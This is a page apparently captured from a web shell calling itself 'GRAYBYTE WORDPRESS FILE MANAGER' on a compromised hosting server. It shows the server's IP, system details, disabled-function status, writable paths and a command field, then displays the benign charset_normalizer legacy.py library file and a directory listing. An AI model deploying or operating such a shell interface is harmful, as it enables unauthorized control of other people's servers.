GRAYBYTE WORDPRESS FILE MANAGER4116

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/imunify360/venv/lib/python3.11/site-packages/charset_normalizer/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/imunify360/venv/lib/python3.11/site-packages/charset_normalizer//legacy.py
import warnings
from typing import Dict, Optional, Union

from .api import from_bytes, from_fp, from_path, normalize
from .constant import CHARDET_CORRESPONDENCE
from .models import CharsetMatch, CharsetMatches


def detect(byte_str: bytes) -> Dict[str, Optional[Union[str, float]]]:
    """
    chardet legacy method
    Detect the encoding of the given byte string. It should be mostly backward-compatible.
    Encoding name will match Chardet own writing whenever possible. (Not on encoding name unsupported by it)
    This function is deprecated and should be used to migrate your project easily, consult the documentation for
    further information. Not planned for removal.

    :param byte_str:     The byte sequence to examine.
    """
    if not isinstance(byte_str, (bytearray, bytes)):
        raise TypeError(  # pragma: nocover
            "Expected object of type bytes or bytearray, got: "
            "{0}".format(type(byte_str))
        )

    if isinstance(byte_str, bytearray):
        byte_str = bytes(byte_str)

    r = from_bytes(byte_str).best()

    encoding = r.encoding if r is not None else None
    language = r.language if r is not None and r.language != "Unknown" else ""
    confidence = 1.0 - r.chaos if r is not None else None

    # Note: CharsetNormalizer does not return 'UTF-8-SIG' as the sig get stripped in the detection/normalization process
    # but chardet does return 'utf-8-sig' and it is a valid codec name.
    if r is not None and encoding == "utf_8" and r.bom:
        encoding += "_sig"

    return {
        "encoding": encoding
        if encoding not in CHARDET_CORRESPONDENCE
        else CHARDET_CORRESPONDENCE[encoding],
        "language": language,
        "confidence": confidence,
    }


class CharsetNormalizerMatch(CharsetMatch):
    pass


class CharsetNormalizerMatches(CharsetMatches):
    @staticmethod
    def from_fp(*args, **kwargs):  # type: ignore
        warnings.warn(  # pragma: nocover
            "staticmethod from_fp, from_bytes, from_path and normalize are deprecated "
            "and scheduled to be removed in 3.0",
            DeprecationWarning,
        )
        return from_fp(*args, **kwargs)  # pragma: nocover

    @staticmethod
    def from_bytes(*args, **kwargs):  # type: ignore
        warnings.warn(  # pragma: nocover
            "staticmethod from_fp, from_bytes, from_path and normalize are deprecated "
            "and scheduled to be removed in 3.0",
            DeprecationWarning,
        )
        return from_bytes(*args, **kwargs)  # pragma: nocover

    @staticmethod
    def from_path(*args, **kwargs):  # type: ignore
        warnings.warn(  # pragma: nocover
            "staticmethod from_fp, from_bytes, from_path and normalize are deprecated "
            "and scheduled to be removed in 3.0",
            DeprecationWarning,
        )
        return from_path(*args, **kwargs)  # pragma: nocover

    @staticmethod
    def normalize(*args, **kwargs):  # type: ignore
        warnings.warn(  # pragma: nocover
            "staticmethod from_fp, from_bytes, from_path and normalize are deprecated "
            "and scheduled to be removed in 3.0",
            DeprecationWarning,
        )
        return normalize(*args, **kwargs)  # pragma: nocover


class CharsetDetector(CharsetNormalizerMatches):
    pass


class CharsetDoctor(CharsetNormalizerMatches):
    pass

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 11 2025 07:53:06
root / root
0755
__pycache__
--
July 02 2025 08:36:55
root / root
0755
assets
--
July 02 2025 08:36:55
root / root
0755
cli
--
July 02 2025 08:36:55
root / root
0755
__init__.py
1.748 KB
June 09 2025 11:12:39
root / root
0644
api.py
19.827 KB
June 09 2025 11:12:39
root / root
0644
cd.py
10.816 KB
June 09 2025 11:12:39
root / root
0644
constant.py
18.993 KB
June 09 2025 11:12:39
root / root
0644
legacy.py
3.305 KB
June 09 2025 11:12:39
root / root
0644
md.py
17.765 KB
June 09 2025 11:12:39
root / root
0644
models.py
12.991 KB
June 09 2025 11:12:39
root / root
0644
py.typed
0 KB
June 09 2025 11:12:39
root / root
0644
utils.py
9.09 KB
June 09 2025 11:12:39
root / root
0644
version.py
0.078 KB
June 09 2025 11:12:39
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF